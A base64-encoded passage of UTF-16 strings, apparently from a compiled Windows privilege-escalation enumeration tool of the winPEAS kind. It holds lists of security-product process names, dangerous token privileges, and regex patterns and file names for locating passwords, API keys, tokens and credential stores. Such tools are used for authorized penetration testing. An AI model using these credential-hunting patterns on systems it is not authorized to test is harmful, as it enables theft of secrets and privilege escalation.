AHUAbgBjAGgALgBlAHgAZQAAGXIAdQBuADMAMgBkAGwAbAAuAGUAeABlAAAVcgB1AG4AZABsAGwALgBlAHgAZQAAGXIAdQBuAGQAbABsADEANgAuAGUAeABlAAAZcgB1AHgAZABsAGwAMwAyAC4AZQB4AGUAABdzAGEAZgBlAHcAZQBiAC4AZQB4AGUAAC1zAGEAaABhAGcAZQBuAHQALgBlAHgAZQBzAGMAYQBuADMAMgAuAGUAeABlAAARcwBhAHYAZQAuAGUAeABlAAAXcwBhAHYAZQBuAG8AdwAuAGUAeABlAAAVcwBiAHMAZQByAHYALgBlAHgAZQAAFXMAYwBhAG0AMwAyAC4AZQB4AGUAABVzAGMAYQBuADMAMgAuAGUAeABlAAAVcwBjAGEAbgA5ADUALgBlAHgAZQAAFXMAYwBhAG4AcABtAC4AZQB4AGUAABdzAGMAcgBzAGMAYQBuAC4AZQB4AGUAAB9TAGUAbgB0AGkAbgBlAGwATwBuAGUALgBlAHgAZQAAFXMAZQByAHYAOQA1AC4AZQB4AGUAACNzAGUAdAB1AHAAdgBhAG0AZQBlAHYAYQBsAC4AZQB4AGUAADVzAGUAdAB1AHAAXwBmAGwAbwB3AHAAcgBvAHQAZQBjAHQAbwByAF8AdQBzAC4AZQB4AGUAAA9zAGYAYwAuAGUAeABlAAAZcwBnAHMAcwBmAHcAMwAyAC4AZQB4AGUAAA1zAGgALgBlAHgAZQAAJ3MAaABlAGwAbABzAHAAeQBpAG4AcwB0AGEAbABsAC4AZQB4AGUAAA9zAGgAbgAuAGUAeABlAAAdcwBoAG8AdwBiAGUAaABpAG4AZAAuAGUAeABlAAAVcwBoAHMAdABhAHQALgBlAHgAZQAAI1MASQBTAEkARABTAFMAZQByAHYAaQBjAGUALgBlAHgAZQAAHVMASQBTAEkAUABTAFUAdABpAGwALgBlAHgAZQAAD3MAbQBjAC4AZQB4AGUAAA9zAG0AcwAuAGUAeABlAAAVcwBtAHMAcwAzADIALgBlAHgAZQAAEXMAbwBhAHAALgBlAHgAZQAAEXMAbwBmAGkALgBlAHgAZQAAE3MAcABlAHIAbQAuAGUAeABlAAAVcwBwAGwAdQBuAGsALgBlAHgAZQAADVMAcABsAHUAbgBrAAAXcwBwAGwAdQBuAGsAZAAuAGUAeABlAAAhcwBwAGwAdQBuAGsALQBhAGQAbQBvAG4ALgBlAHgAZQABK3MAcABsAHUAbgBrAC0AcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAAEpcwBwAGwAdQBuAGsALQB3AGkAbgBlAHYAdABsAG8AZwAuAGUAeABlAAEPcwBwAGYALgBlAHgAZQAAFXMAcABoAGkAbgB4AC4AZQB4AGUAABVzAHAAbwBsAGUAcgAuAGUAeABlAAAXcwBwAG8AbwBsAGMAdgAuAGUAeABlAAAbcwBwAG8AbwBsAHMAdgAzADIALgBlAHgAZQAAE3MAcAB5AHgAeAAuAGUAeABlAAATcwByAGUAeABlAC4AZQB4AGUAABFzAHIAbgBnAC4AZQB4AGUAABdzAHMAMwBlAGQAaQB0AC4AZQB4AGUAABdzAHMAZwByAGEAdABlAC4AZQB4AGUAABlzAHMAZwBfADQAMQAwADQALgBlAHgAZQAAD3MAdAAyAC4AZQB4AGUAABNzAHQAYQByAHQALgBlAHgAZQAAG3MAdABjAGwAbwBhAGQAZQByAC4AZQB4AGUAABdzAHUAcABmAHQAcgBsAC4AZQB4AGUAABdzAHUAcABwAG8AcgB0AC4AZQB4AGUAAB1zAHUAcABwAG8AcgB0AGUAcgA1AC4AZQB4AGUAABlzAHYAYwBoAG8AcwB0AGMALgBlAHgAZQAAGXMAdgBjAGgAbwBzAHQAcwAuAGUAeABlAAAXcwB3AGUAZQBwADkANQAuAGUAeABlAABFcwB3AGUAZQBwAG4AZQB0AC4AcwB3AGUAZQBwAHMAcgB2AC4AcwB5AHMALgBzAHcAbgBlAHQAcwB1AHAALgBlAHgAZQAAH3MAeQBtAHAAcgBvAHgAeQBzAHYAYwAuAGUAeABlAAAXcwB5AG0AdAByAGEAeQAuAGUAeABlAAAXcwB5AHMAZQBkAGkAdAAuAGUAeABlAAAVcwB5AHMAbQBvAG4ALgBlAHgAZQAAJ1MAeQBzAGkAbgB0AGUAcgBuAGEAbABzACAAUwB5AHMAbQBvAG4AABVzAHkAcwB1AHAAZAAuAGUAeABlAAAhVABhAG4AaQB1AG0AQwBsAGkAZQBuAHQALgBlAHgAZQAADVQAYQBuAGkAdQBtAAAVdABhAHMAawBtAGcALgBlAHgAZQAAFXQAYQBzAGsAbQBvAC4AZQB4AGUAABV0AGEAdQBtAG8AbgAuAGUAeABlAAATdABiAG0AbwBuAC4AZQB4AGUAABV0AGIAcwBjAGEAbgAuAGUAeABlAAANdABjAC4AZQB4AGUAAA90AGMAYQAuAGUAeABlAAAPdABjAG0ALgBlAHgAZQAAF3QAYwBwAHYAaQBlAHcALgBlAHgAZQAAE3QAZABzAC0AMwAuAGUAeABlAAEXdABkAHMAMgAtADkAOAAuAGUAeABlAAEXdABkAHMAMgAtAG4AdAAuAGUAeABlAAEXdABlAGUAawBpAGQAcwAuAGUAeABlAAARdABmAGEAawAuAGUAeABlAAATdABmAGEAawA1AC4AZQB4AGUAABN0AGcAYgBvAGIALgBlAHgAZQAAF3QAaQB0AGEAbgBpAG4ALgBlAHgAZQAAG3QAaQB0AGEAbgBpAG4AeABwAC4AZQB4AGUAAB10AGwAYQBzAGUAcgB2AGkAYwBlAC4AZQB4AGUAABt0AGwAYQB3AG8AcgBrAGUAcgAuAGUAeABlAAAXdAByAGEAYwBlAHIAdAAuAGUAeABlAAAZdAByAGkAYwBrAGwAZQByAC4AZQB4AGUAABd0AHIAagBzAGMAYQBuAC4AZQB4AGUAABl0AHIAagBzAGUAdAB1AHAALgBlAHgAZQAAH3QAcgBvAGoAYQBuAHQAcgBhAHAAMwAuAGUAeABlAAAXdABzAGEAZABiAG8AdAAuAGUAeABlAAAVdABzAGgAYQByAGsALgBlAHgAZQAAEXQAdgBtAGQALgBlAHgAZQAAE3QAdgB0AG0AZAAuAGUAeABlAAAZdQBkAGEAdABlAHIAdQBpAC4AZQB4AGUAABl1AG4AZABvAGIAbwBvAHQALgBlAHgAZQAAE3UAcABkAGEAdAAuAGUAeABlAAAVdQBwAGQAYQB0AGUALgBlAHgAZQAAG3UAcABkAGEAdABlAHIAdQBpAC4AZQB4AGUAABV1AHAAZwByAGEAZAAuAGUAeABlAAAVdQB0AHAAbwBzAHQALgBlAHgAZQAAGXYAYgBjAG0AcwBlAHIAdgAuAGUAeABlAAAVdgBiAGMAbwBuAHMALgBlAHgAZQAAE3YAYgB1AHMAdAAuAGUAeABlAAAXdgBiAHcAaQBuADkAeAAuAGUAeABlAAAZdgBiAHcAaQBuAG4AdAB3AC4AZQB4AGUAABd2AGMAcwBlAHQAdQBwAC4AZQB4AGUAABN2AGUAdAAzADIALgBlAHgAZQAAE3YAZQB0ADkANQAuAGUAeABlAAAXdgBlAHQAdAByAGEAeQAuAGUAeABlAAAXdgBmAHMAZQB0AHUAcAAuAGUAeABlAAAZdgBpAHIALQBoAGUAbABwAC4AZQB4AGUAATd2AGkAcgB1AHMAbQBkAHAAZQByAHMAbwBuAGEAbABmAGkAcgBlAHcAYQBsAGwALgBlAHgAZQAAGXYAbgBsAGEAbgAzADAAMAAuAGUAeABlAAAZdgBuAHAAYwAzADAAMAAwAC4AZQB4AGUAABN2AHAAYwAzADIALgBlAHgAZQAAE3YAcABjADQAMgAuAGUAeABlAAAXdgBwAGYAdwAzADAAcwAuAGUAeABlAAAVdgBwAHQAcgBhAHkALgBlAHgAZQAAF3YAcwBjAGEAbgA0ADAALgBlAHgAZQAAI3YAcwBjAGUAbgB1ADYALgAwADIAZAAzADAALgBlAHgAZQAAFXYAcwBjAGgAZQBkAC4AZQB4AGUAABd2AHMAZQBjAG8AbQByAC4AZQB4AGUAABl2AHMAaAB3AGkAbgAzADIALgBlAHgAZQAAGXYAcwBpAHMAZQB0AHUAcAAuAGUAeABlAAAVdgBzAG0AYQBpAG4ALgBlAHgAZQAAE3YAcwBtAG8AbgAuAGUAeABlAAAVdgBzAHMAdABhAHQALgBlAHgAZQAAGXYAcwB0AHMAawBtAGcAcgAuAGUAeABlAAAZdgBzAHcAaQBuADkAeABlAC4AZQB4AGUAABt2AHMAdwBpAG4AbgB0AHMAZQAuAGUAeABlAAAddgBzAHcAaQBuAHAAZQByAHMAZQAuAGUAeABlAAAZdwAzADIAZABzAG0AOAA5AC4AZQB4AGUAAA93ADkAeAAuAGUAeABlAAAZdwBhAHQAYwBoAGQAbwBnAC4AZQB4AGUAABV3AGUAYgBkAGEAdgAuAGUAeABlAAAZdwBlAGIAcwBjAGEAbgB4AC4AZQB4AGUAABd3AGUAYgB0AHIAYQBwAC4AZQB4AGUAABl3AGYAaQBuAGQAdgAzADIALgBlAHgAZQAAJXcAaABvAHMAdwBhAHQAYwBoAGkAbgBnAG0AZQAuAGUAeABlAAAZdwBpAG0AbQB1AG4AMwAyAC4AZQB4AGUAAB93AGkAbgAtAGIAdQBnAHMAZgBpAHgALgBlAHgAZQABE3cAaQBuADMAMgAuAGUAeABlAAAXdwBpAG4AMwAyAHUAcwAuAGUAeABlAAAbdwBpAG4AYQBjAHQAaQB2AGUALgBlAHgAZQAAFXcAaQBuAGQAbwB3AC4AZQB4AGUAABd3AGkAbgBkAG8AdwBzAC4AZQB4AGUAABl3AGkAbgBpAG4AZQB0AGQALgBlAHgAZQAAGXcAaQBuAGkAbgBpAHQAeAAuAGUAeABlAAAZdwBpAG4AbABvAGcAaQBuAC4AZQB4AGUAABd3AGkAbgBtAGEAaQBuAC4AZQB4AGUAABV3AGkAbgBuAGUAdAAuAGUAeABlAAAZdwBpAG4AcABwAHIAMwAyAC4AZQB4AGUAABl3AGkAbgByAGUAYwBvAG4ALgBlAHgAZQAAGXcAaQBuAHMAZQByAHYAbgAuAGUAeABlAAAZdwBpAG4AcwBzAGsAMwAyAC4AZQB4AGUAABl3AGkAbgBzAHQAYQByAHQALgBlAHgAZQAAH3cAaQBuAHMAdABhAHIAdAAwADAAMQAuAGUAeABlAAAZdwBpAG4AdABzAGsAMwAyAC4AZQB4AGUAABt3AGkAbgB1AHAAZABhAHQAZQAuAGUAeABlAAAbdwBpAHIAZQBzAGgAYQByAGsALgBlAHgAZQAAF3cAawB1AGYAaQBuAGQALgBlAHgAZQAAEXcAbgBhAGQALgBlAHgAZQAAD3cAbgB0AC4AZQB4AGUAABd3AHIAYQBkAG0AaQBuAC4AZQB4AGUAABV3AHIAYwB0AHIAbAAuAGUAeABlAAAXdwBzAGIAZwBhAHQAZQAuAGUAeABlAAAZdwB1AHAAZABhAHQAZQByAC4AZQB4AGUAABN3AHUAcABkAHQALgBlAHgAZQAAL3cAeQB2AGUAcgBuAHcAbwByAGsAcwBmAGkAcgBlAHcAYQBsAGwALgBlAHgAZQAAEXgAYQBnAHQALgBlAHgAZQAAGXgAcABmADIAMAAyAGUAbgAuAGUAeABlAAATegBhAHAAcgBvAC4AZQB4AGUAACF6AGEAcABzAGUAdAB1AHAAMwAwADAAMQAuAGUAeABlAAAXegBhAHQAdQB0AG8AcgAuAGUAeABlAAAfQwBtAFIAYwBTAGUAcgB2AGkAYwBlAC4AZQB4AGUAAFlDAG8AbgBmAGkAZwB1AHIAYQB0AGkAbwBuACAATQBhAG4AYQBnAGUAcgAgAFIAZQBtAG8AdABlACAAQwBvAG4AdAByAG8AbAAgAFMAZQByAHYAaQBjAGUAAA9mAHQAcAAuAGUAeABlAAAhTQBpAHMAYwAuACAARgBUAFAAIABjAGwAaQBlAG4AdAAAH0wATQBJAEcAdQBhAHIAZABpAGEAbgAuAGUAeABlAAAhTABvAGcATQBlAEkAbgAgAFIAZQBwAG8AcgB0AGUAcgAAJUwAbwBnAE0AZQBJAG4AUwB5AHMAdAByAGEAeQAuAGUAeABlAAAnTABvAGcATQBlAEkAbgAgAFMAeQBzAHQAZQBtACAAVAByAGEAeQAAF1IAYQBNAGEAaQBuAHQALgBlAHgAZQAANUwAbwBnAE0AZQBJAG4AIABtAGEAaQBuAHQAZQBuAGEAbgBjAGUAIABzAGUAdgBpAGMAZQAAD20AbQBjAC4AZQB4AGUAADlNAGkAYwByAG8AcwBvAGYAdAAgAE0AYQBuAGEAZwBlAG0AZQBuAHQAIABDAG8AbgBzAG8AbABlAAATcAB1AHQAdAB5AC4AZQB4AGUAACFQAHUAdAB0AHkAIABTAFMASAAgAGMAbABpAGUAbgB0AAARcABzAGMAcAAuAGUAeABlAAAhUAB1AHQAdAB5ACAAUwBDAFAAIABjAGwAaQBlAG4AdAAAE3AAcwBmAHQAcAAuAGUAeABlAAAjUAB1AHQAdAB5ACAAUwBGAFQAUAAgAGMAbABpAGUAbgB0AAAZcAB1AHQAdAB5AHQAZQBsAC4AZQB4AGUAACdQAHUAdAB0AHkAIABUAGUAbABuAGUAdAAgAGMAbABpAGUAbgB0AAATcABsAGkAbgBrAC4AZQB4AGUAACFQAHUAdAB0AHkAIABDAEwASQAgAGMAbABpAGUAbgB0AAAXcABhAGcAZQBhAG4AdAAuAGUAeABlAAApUAB1AHQAdAB5ACAAUwBTAEgAIABhAHUAdABoACAAYQBnAGUAbgB0AAATawBpAHQAdAB5AC4AZQB4AGUAACFLAGkAdAB0AHkAIABTAFMASAAgAGMAbABpAGUAbgB0AAAVdABlAGwAbgBlAHQALgBlAHgAZQAAJ00AaQBzAGMALgAgAFQAZQBsAG4AZQB0ACAAYwBsAGkAZQBuAHQAABtTAGUAYwB1AHIAZQBDAFIAVAAuAGUAeABlAAA3UwBlAGMAdQByAGUAQwBSAFQAIABTAFMASAAvAFQAZQBsAG4AZQB0ACAAYwBsAGkAZQBuAHQAAB1UAGUAYQBtAFYAaQBlAHcAZQByAC4AZQB4AGUAABVUAGUAYQBtAFYAaQBlAHcAZQByAAAVdAB2AF8AeAA2ADQALgBlAHgAZQAAO1QAZQBhAG0AVgBpAGUAdwBlAHIAIAB4ADYANAAgAHIAZQBtAG8AdABlACAAYwBvAG4AdAByAG8AbAAAFXQAdgBfAHcAMwAyAC4AZQB4AGUAADtUAGUAYQBtAFYAaQBlAHcAZQByACAAeAA4ADYAIAByAGUAbQBvAHQAZQAgAGMAbwBuAHQAcgBvAGwAABdrAGUAZQBwAGEAcwBzAC4AZQB4AGUAAC1LAGUAZQBQAGEAcwBzACAAcABhAHMAcwB3AG8AcgBkACAAdgBhAHUAbAB0AAATbQBzAHQAcwBjAC4AZQB4AGUAAClNAGkAYwByAG8AcwBvAGYAdAAgAFIARABQACAAYwBsAGkAZQBuAHQAAA92AG4AYwAuAGUAeABlAAAnUABvAHMAcwBpAGIAbABlACAAVgBOAEMAIABjAGwAaQBlAG4AdAAAHXAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAAL1AAbwB3AGUAcgBTAGgAZQBsAGwAIABoAG8AcwB0ACAAcAByAG8AYwBlAHMAcwAAHUMAbwBtAG0AYQBuAGQAIABQAHIAbwBtAHAAdAAAgIUgACAAIABDAHIAZQBhAHQAaQBuAGcAIABEAHkAbgBhAG0AaQBjACAAbABpAHMAdABzACwAIAB0AGgAaQBzACAAYwBvAHUAbABkACAAdABhAGsAZQAgAGEAIAB3AGgAaQBsAGUALAAgAHAAbABlAGEAcwBlACAAdwBhAGkAdAAuAC4ALgAANSAAIAAgAC0AIABDAGgAZQBjAGsAaQBuAGcAIABpAGYAIABkAG8AbQBhAGkAbgAuAC4ALgABO0UAcgByAG8AcgAgAHcAaABpAGwAZQAgAGcAZQB0AHQAaQBuAGcAIABBAEQAIABpAG4AZgBvADoAIAAATSAAIAAgAC0AIABHAGUAdAB0AGkAbgBnACAAVwBpAG4AMwAyAF8AVQBzAGUAcgBBAGMAYwBvAHUAbgB0ACAAaQBuAGYAbwAuAC4ALgABI1cAaQBuADMAMgBfAFUAcwBlAHIAQQBjAGMAbwB1AG4AdAAAWUUAcgByAG8AcgAgAHcAaABpAGwAZQAgAGcAZQB0AHQAaQBuAGcAIABXAGkAbgAzADIAXwBVAHMAZQByAEEAYwBjAG8AdQBuAHQAIABpAG4AZgBvADoAIAAAUyAAIAAgAC0AIABDAHIAZQBhAHQAaQBuAGcAIABjAHUAcgByAGUAbgB0ACAAdQBzAGUAcgAgAGcAcgBvAHUAcABzACAAbABpAHMAdAAuAC4ALgABPUUAcgByAG8AcgAgAG8AYgB0AGEAaQBuAGkAbgBnACAAYwB1AHIAcgBlAG4AdAAgAFMASQBEAHMAOgAgAABfRQByAHIAbwByACAAdwBoAGkAbABlACAAYwByAGUAYQB0AGkAbgBnACAAYwB1AHIAcgBlAG4AdAAgAHUAcwBlAHIAIABnAHIAbwB1AHAAcwAgAGwAaQBzAHQAOgAgAABFIAAgACAALQAgAEMAcgBlAGEAdABpAG4AZwAgAGEAYwB0AGkAdgBlACAAdQBzAGUAcgBzACAAbABpAHMAdAAuAC4ALgABA3wAAB18AEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAAB1BAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHwAABtBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAABRRQByAHIAbwByACAAdwBoAGkAbABlACAAYwByAGUAYQB0AGkAbgBnACAAYQBjAHQAaQB2AGUAIAB1AHMAZQByAHMAIABsAGkAcwB0ADoAIAAASSAAIAAgAC0AIABDAHIAZQBhAHQAaQBuAGcAIABkAGkAcwBhAGIAbABlAGQAIAB1AHMAZQByAHMAIABsAGkAcwB0AC4ALgAuAAFVRQByAHIAbwByACAAdwBoAGkAbABlACAAYwByAGUAYQB0AGkAbgBnACAAZABpAHMAYQBiAGwAZQBkACAAdQBzAGUAcgBzACAAbABpAHMAdAA6ACAAADEgACAAIAAtACAAQQBkAG0AaQBuACAAdQBzAGUAcgBzACAAbABpAHMAdAAuAC4ALgABXUUAcgByAG8AcgAgAHcAaABpAGwAZQAgAGMAcgBlAGEAdABpAG4AZwAgAGEAZABtAGkAbgAgAHUAcwBlAHIAcwAgAGcAcgBvAHUAcABzACAAbABpAHMAdAA6ACAAAA9DAE8ATgBTAE8ATABFAAApVgBpAHIAdAB1AGEAbABUAGUAcgBtAGkAbgBhAGwATABlAHYAZQBsAACBpUEATgBTAEkAIABjAG8AbABvAHIAIABiAGkAdAAgAGYAbwByACAAVwBpAG4AZABvAHcAcwAgAGkAcwAgAG4AbwB0ACAAcwBlAHQALgAgAEkAZgAgAHkAbwB1ACAAYQByAGUAIABlAHgAZQBjAGMAdQB0AGkAbgBnACAAdABoAGkAcwAgAGYAcgBvAG0AIABhACAAVwBpAG4AZABvAHcAcwAgAHQAZQByAG0AaQBuAGEAbAAgAGkAbgBzAGkAZABlACAAdABoAGUAIABoAG8AcwB0ACAAeQBvAHUAIABzAGgAbwB1AGwAZAAgAHIAdQBuACAAJwBSAEUARwAgAEEARABEACAASABLAEMAVQBcAEMAbwBuAHMAbwBsAGUAIAAvAHYAIABWAGkAcgB0AHUAYQBsAFQAZQByAG0AaQBuAGEAbABMAGUAdgBlAGwAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADEAJwAgAGEAbgBkACAAdABoAGUAbgAgAHMAdABhAHIAdAAgAGEAIABuAGUAdwAgAEMATQBEAAFVRQByAHIAbwByACAAdwBoAGkAbABlACAAYwBoAGUAYwBrAGkAbgBnACAAYQBuAHMAaQAgAGMAbwBsAG8AcgAgAHIAZQBnAGkAcwB0AHIAeQA6ACAAACVTAHkAcwB0AGUAbQAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAI1UAcwBlAHIAcwAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAK1AAcgBvAGMAZQBzAHMAZQBzACAASQBuAGYAbwByAG0AYQB0AGkAbwBuAAApUwBlAHIAdgBpAGMAZQBzACAASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAxQQBwAHAAbABpAGMAYQB0AGkAbwBuAHMAIABJAG4AZgBvAHIAbQBhAHQAaQBvAG4AACdOAGUAdAB3AG8AcgBrACAASQBuAGYAbwByAG0AYQB0AGkAbwBuAAApQgByAG8AdwBzAGUAcgBzACAASQBuAGYAbwByAG0AYQB0AGkAbwBuAAA9SQBuAHQAZQByAGUAcwB0AGkAbgBnACAAZgBpAGwAZQBzACAAYQBuAGQAIAByAGUAZwBpAHMAdAByAHkAAAdjAG0AZAAAEW4AbwB0AGMAbwBsAG8AcgAAC3EAdQBpAGUAdAAAE3MAZQBhAHIAYwBoAGEAbABsAAAVcwBlAGEAcgBjAGgAZgBhAHMAdAAACWgAZQBsAHAAAAUtAGgAAQ0tAC0AaABlAGwAcAABBS8AaAAAFXMAeQBzAHQAZQBtAGkAbgBmAG8AABF1AHMAZQByAGkAbgBmAG8AABVwAHIAbwBjAGUAcwBpAG4AZgBvAAAZcwBlAHIAdgBpAGMAZQBzAGkAbgBmAG8AACFhAHAAcABsAGkAYwBhAHQAaQBvAG4AcwBpAG4AZgBvAAAXbgBlAHQAdwBvAHIAawBpAG4AZgBvAAAZdwBpAG4AZABvAHcAcwBjAHIAZQBkAHMAABdiAHIAbwB3AHMAZQByAGkAbgBmAG8AABNmAGkAbABlAHMAaQBuAGYAbwAAgRd2AEIARQBUAEEAIABWAEUAUgBTAEkATwBOACwAIABQAGwAZQBhAHMAZQAgAGkAZgAgAHkAbwB1ACAAZgBpAG4AZAAgAGEAbgB5ACAAaQBzAHMAdQBlACAAbABlAHQAIABtAGUAIABrAG4AbwB3ACAAaQBuACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBjAGEAcgBsAG8AcwBwAG8AbABvAHAALwBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4ALQBhAHcAZQBzAG8AbQBlAC0AcwBjAHIAaQBwAHQAcwAtAHMAdQBpAHQAZQAvAGkAcwBzAHUAZQBzAAGCE3cAaQBuAHAAZQBhAHMAIABzAGgAbwB1AGwAZAAgAGIAZQAgAHUAcwBlAGQAIABmAG8AcgAgAGEAdQB0AGgAbwByAGkAegBlAGQAIABwAGUAbgBlAHQAcgBhAHQAaQBvAG4AIAB0AGUAcwB0AGkAbgBnACAAYQBuAGQALwBvAHIAIABlAGQAdQBjAGEAdABpAG8AbgBhAGwAIABwAHUAcgBwAG8AcwBlAHMAIABvAG4AbAB5AC4AQQBuAHkAIABtAGkAcwB1AHMAZQAgAG8AZgAgAHQAaABpAHMAIABzAG8AZgB0AHcAYQByAGUAIAB3AGkAbABsACAAbgBvAHQAIABiAGUAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAaQBiAGkAbABpAHQAeQAgAG8AZgAgAHQAaABlACAAYQB1AHQAaABvAHIAIABvAHIAIABvAGYAIABhAG4AeQAgAG8AdABoAGUAcgAgAGMAbwBsAGwAYQBiAG8AcgBhAHQAbwByAC4AIABVAHMAZQAgAGkAdAAgAGEAdAAgAHkAbwB1AHIAIABvAHcAbgAgAG4AZQB0AHcAbwByAGsAcwAgAGEAbgBkAC8AbwByACAAdwBpAHQAaAAgAHQAaABlACAAbgBlAHQAdwBvAHIAawAgAG8AdwBuAGUAcgAnAHMAIABwAGUAcgBtAGkAcwBzAGkAbwBuAC4AAQtGAGEAbABzAGUAAFlkAG8AYwBrAGUAcgB8AFIAZQBtAG8AdABlACAAfABEAE4AUwBBAGQAbQBpAG4AcwB8AEEAegB1AHIAZQAgAEEAZABtAGkAbgBzAHwAQQBkAG0AaQBuAHMAACNOAG8AdABDAGgAYQBuAGcAZQB8AE4AbwB0AEUAeABwAGkAAIF1UwBlAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQBQAHIAaQB2AGkAbABlAGcAZQB8AFMAZQBBAHMAcwBpAGcAbgBQAHIAaQBtAGEAcgB5AFAAcgBpAHYAaQBsAGUAZwBlAHwAUwBlAFQAYwBiAFAAcgBpAHYAaQBsAGUAZwBlAHwAUwBlAEIAYQBjAGsAdQBwAFAAcgBpAHYAaQBsAGUAZwBlAHwAUwBlAFIAZQBzAHQAbwByAGUAUAByAGkAdgBpAGwAZQBnAGUAfABTAGUAQwByAGUAYQB0AGUAVABvAGsAZQBuAFAAcgBpAHYAaQBsAGUAZwBlAHwAUwBlAEwAbwBhAGQARAByAGkAdgBlAHIAUAByAGkAdgBpAGwAZQBnAGUAfABTAGUAVABhAGsAZQBPAHcAbgBlAHIAcwBoAGkAcABQAHIAaQB2AGkAbABlAGcAZQB8AFMAZQBEAGUAYgB1AGcAUAByAGkAdgBpAGwAZQBnAGUAAIJvVwBpAG4AZABvAHcAcwAgAFAAaABvAG4AZQAgAEsAaQB0AHMAfABXAGkAbgBkAG8AdwBzACAASwBpAHQAcwB8AFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAfABXAGkAbgBkAG8AdwBzACAATQBhAGkAbAB8AFcAaQBuAGQAbwB3AHMAIABNAGUAZABpAGEAIABQAGwAYQB5AGUAcgB8AFcAaQBuAGQAbwB3AHMAIABNAHUAbAB0AGkAbQBlAGQAaQBhACAAUABsAGEAdABmAG8AcgBtAHwAdwBpAG4AZABvAHcAcwAgAG4AdAB8AFcAaQBuAGQAbwB3AHMAIABQAGgAbwB0AG8AIABWAGkAZQB3AGUAcgB8AFcAaQBuAGQAbwB3AHMAIABQAG8AcgB0AGEAYgBsAGUAIABEAGUAdgBpAGMAZQBzAHwAVwBpAG4AZABvAHcAcwAgAFMAZQBjAHUAcgBpAHQAeQB8AFcAaQBuAGQAbwB3AHMAIABTAGkAZABlAGIAYQByAHwAVwBpAG4AZABvAHcAcwBBAHAAcABzAHwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAHwAIABXAGkAbgBkAG8AdwBzACQAfABNAGkAYwByAG8AcwBvAGYAdAB8AFcATwBXADYANAAzADIATgBvAGQAZQB8AGkAbgB0AGUAcgBuAGUAdAAgAGUAeABwAGwAbwByAGUAcgB8AEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgB8AEMAbwBtAG0AbwBuACAARgBpAGwAZQBzAAAZWwBhAC0AegBBAC0AWgBdACsAWwAkAF0AARMxADIANwAuADAALgAwAC4AMQAAUU4AbwAgAHAAcgBvAG0AcAB0AGkAbgBnAHwAUAByAG8AbQBwAHQARgBvAHIATgBvAG4AVwBpAG4AZABvAHcAcwBCAGkAbgBhAHIAaQBlAHMAAD9QAHIAbwBtAHAAdABQAGUAcgBtAGkAdABEAGUAbgB5AE8AbgBTAGUAYwB1AHIAZQBEAGUAcwBrAHQAbwBwAAAlTABBAFAAUwAgAG4AbwB0ACAAaQBuAHMAdABhAGwAbABlAGQAAIIVWwBwAFAAXQBbAGEAQQBdAFsAcwBTAF0AWwBzAFMAXQBbAHcAVwBdAFsAYQAtAHoAQQAtAFoAMAAtADkAXwAtAF0AKgB8AFsAcABQAF0AWwB3AFcAXQBbAGQARABdAFsAYQAtAHoAQQAtAFoAMAAtADkAXwAtAF0AKgB8AFsAbgBOAF0AWwBhAEEAXQBbAG0ATQBdAFsAZQBFAF0AfABbAGwATABdAFsAbwBPAF0AWwBnAEcAXQBbAGkASQBdAFsAbgBOAF0AfABbAGMAQwBdAFsAbwBPAF0AWwBuAE4AXQBbAHQAVABdAFsAcgBSAF0AWwBhAEEAXQBbAHMAUwBdAFsAZQBFAF0AWwBhAC0AegBBAC0AWgAwAC0AOQBfAC0AXQAqAHwAWwBjAEMAXQBbAHIAUgBdAFsAZQBFAF0AWwBkAEQAXQBbAGUARQBdAFsAbgBOAF0AWwB0AFQAXQBbAGkASQBdAFsAYQBBAF0AWwBsAEwAXQBbAGEALQB6AEEALQBaADAALQA5AF8ALQBdACoAfABbAGEAQQBdAFsAcABQAF0AWwBpAEkAXQB8AFsAdABUAF0AWwBvAE8AXQBbAGsASwBdAFsAZQBFAF0AWwBuAE4AXQB8AFsAcwBTAF0AWwBlAEUAXQBbAHMAUwBdAFsAcwBTAF0AWwBhAC0AegBBAC0AWgAwAC0AOQBfAC0AXQAqAAE/fABbAHUAVQBdAFsAcwBTAF0AWwBlAEUAXQBbAHIAUgBdAFsAYQAtAHoAQQAtAFoAMAAtADkAXwAtAF0AKgABKVAAQQBTAFMAVwBbAGEALQB6AEEALQBaADAALQA5AF8ALQBdACoAPQABJVAAVwBEAFsAYQAtAHoAQQAtAFoAMAAtADkAXwAtAF0AKgA9AAEnVQBTAEUAUgBbAGEALQB6AEEALQBaADAALQA5AF8ALQBdACoAPQABC04AQQBNAEUAPQAADSYATABPAEcASQBOAAANPQBMAE8ARwBJAE4AADNDAE8ATgBUAFIAQQBTAEUA0QBBAFsAYQAtAHoAQQAtAFoAMAAtADkAXwAtAF0AKgA9AAEzQwBSAEUARABFAE4AVABJAEEATABbAGEALQB6AEEALQBaADAALQA5AF8ALQBdACoAPQABD0EAUABJAF8ASwBFAFkAAAtUAE8ASwBFAE4AAIRfUgBEAEMATQBhAG4ALgBzAGUAdAB0AGkAbgBnAHMAOwAqAC4AcgBkAGcAOwAqAF8AaABpAHMAdABvAHIAeQAqADsAaAB0AHQAcABkAC4AYwBvAG4AZgA7AC4AaAB0AHAAYQBzAHMAdwBkADsALgBnAGkAdABjAG8AbgBmAGkAZwA7AC4AZwBpAHQALQBjAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwBEAG8AYwBrAGUAcgBmAGkAbABlADsAZABvAGMAawBlAHIALQBjAG8AbQBwAG8AcwBlAC4AeQBtAGwAOwBhAGMAYwBlAHMAcwBfAHQAbwBrAGUAbgBzAC4AZABiADsAYQBjAGMAZQBzAHMAVABvAGsAZQBuAHMALgBqAHMAbwBuADsAYQB6AHUAcgBlAFAAcgBvAGYA